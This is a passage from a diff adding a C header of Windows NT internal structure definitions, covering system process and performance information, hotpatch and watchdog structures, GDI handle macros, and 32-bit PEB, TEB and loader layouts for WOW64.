ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct __attribute__((packed)) +{ + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION, *PEXTENDED_PROCESS_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG_PTR StringStart; + SYSTEM_MEMORY_INFO Memory[ 1 ]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION { + ULONG Flags; +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +typedef struct _SYSTEM_CALL_TIME_INFORMATION { + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + OBJECT_NAME_INFORMATION NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION { + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; + +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG Reserved[ 4 ]; +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +#define FLG_HOTPATCH_KERNEL 0x80000000 +#define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 +#define FLG_HOTPATCH_NAME_INFO 0x20000000 +#define FLG_HOTPATCH_RENAME_INFO 0x10000000 +#define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 +#define FLG_HOTPATCH_WOW64 0x04000000 + +#define FLG_HOTPATCH_ACTIVE 0x00000001 +#define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE + +#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 + +typedef struct _HOTPATCH_HOOK_DESCRIPTOR +{ + ULONG_PTR TargetAddress; + PVOID MappedAddress; + ULONG CodeOffset; + ULONG CodeSize; + ULONG OrigCodeOffset; + ULONG ValidationOffset; + ULONG ValidationSize; +} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; + +typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { + + ULONG Flags; + ULONG InfoSize; + + union + { + struct + { + ULONG DescriptorsCount; + HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure + } CodeInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + } KernelInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + USHORT TargetNameOffset; + USHORT TargetNameLength; + } UserModeInfo; + + struct + { + HANDLE FileHandle1; + PIO_STATUS_BLOCK IoStatusBlock1; + PFILE_RENAME_INFORMATION RenameInformation1; + ULONG RenameInformationLength1; + HANDLE FileHandle2; + PIO_STATUS_BLOCK IoStatusBlock2; + PFILE_RENAME_INFORMATION RenameInformation2; + ULONG RenameInformationLength2; + } RenameInfo; + + struct + { + HANDLE ParentDirectory; + HANDLE ObjectHandle1; + HANDLE ObjectHandle2; + } AtomicSwap; + }; + +} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; + +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES; +typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; + +typedef enum _WATCHDOG_HANDLER_ACTION +{ + WdActionSetTimeoutValue, + WdActionQueryTimeoutValue, + WdActionResetTimer, + WdActionStopTimer, + WdActionStartTimer, + WdActionSetTriggerAction, + WdActionQueryTriggerAction, + WdActionQueryState, + WdActionSleep, + WdActionWake +} WATCHDOG_HANDLER_ACTION; + +typedef enum _WATCHDOG_INFORMATION_CLASS { + WdInfoTimeoutValue, + WdInfoResetTimer, + WdInfoStopTimer, + WdInfoStartTimer, + WdInfoTriggerAction, + WdInfoState +} WATCHDOG_INFORMATION_CLASS; + +typedef + NTSTATUS + (*PWD_HANDLER)( + _In_ WATCHDOG_HANDLER_ACTION Action, + _In_ PVOID Context, + _In_ _Out_ PULONG DataValue, + _In_ BOOLEAN NoLocks + ); + +typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { + PWD_HANDLER WdHandler; + PVOID Context; +} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; + +#define WDSTATE_FIRED 0x00000001 +#define WDSTATE_HARDWARE_ENABLED 0x00000002 +#define WDSTATE_STARTED 0x00000004 +#define WDSTATE_HARDWARE_PRESENT 0x00000008 + +typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { + WATCHDOG_INFORMATION_CLASS WdInfoClass; + ULONG DataValue; +} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk = 0, + SharedNtdll32KiUserExceptionDispatcher = 1, + SharedNtdll32KiUserApcDispatcher = 2, + SharedNtdll32KiUserCallbackDispatcher = 3, + SharedNtdll32LdrHotPatchRoutine = 4, + SharedNtdll32ExpInterlockedPopEntrySListFault = 5, + SharedNtdll32ExpInterlockedPopEntrySListResume = 6, + SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, + SharedNtdll32RtlUserThreadStart = 8, + SharedNtdll32pQueryProcessDebugInformationRemote = 9, + SharedNtdll32EtwpNotificationThread = 10, + SharedNtdll32BaseAddress = 11, + Wow64SharedPageEntriesCount = 12 +} WOW64_SHARED_INFORMATION; + +// 21.12.2011 added +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) +// 21.12.2011 - end + +// 32-bit definitions + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef + VOID + (*PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _TIB +{ + struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; + PVOID StackBase; + PVOID StackLimit; + PVOID 